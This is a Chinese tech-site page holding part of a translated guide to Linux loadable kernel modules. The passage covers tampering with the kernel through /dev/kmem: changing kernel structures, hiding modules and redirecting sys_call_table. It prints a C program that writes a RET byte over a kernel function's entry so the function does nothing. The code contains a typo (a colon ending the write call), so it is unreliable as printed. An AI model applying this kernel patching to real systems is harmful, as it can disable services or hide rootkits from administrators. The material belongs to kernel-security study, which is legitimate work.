科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道Linux系统可卸载内核模块完全指南(下) (3)

Linux系统可卸载内核模块完全指南(下) (3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。

作者:IHH 来源:Silversand.net 2007年11月6日

关键字: 模块 内核 卸载 Linux

  • 评论
  • 分享微博
  • 分享邮件
关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。

通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序来完成这个。

当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。

/*同样的,没有错误检查*/ 

#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

#include <fcntl.h> 

/*不过是我们的返回代码*/ 

unsigned char asmcode[]={0xc3}; 


int main(int argc, char *argv[]) 

{ 

unsigned long counter; 

int kmemh; 


/*打开设备*/ 

kmemh = open("/dev/kmem", O_RDWR); 


/*找到内存地址中函数开始的地方*/ 

lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); 


/*写入我们的补丁字节*/ 

write(kmemh, &asmcode, 1): 


close(kmemh); 

}
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章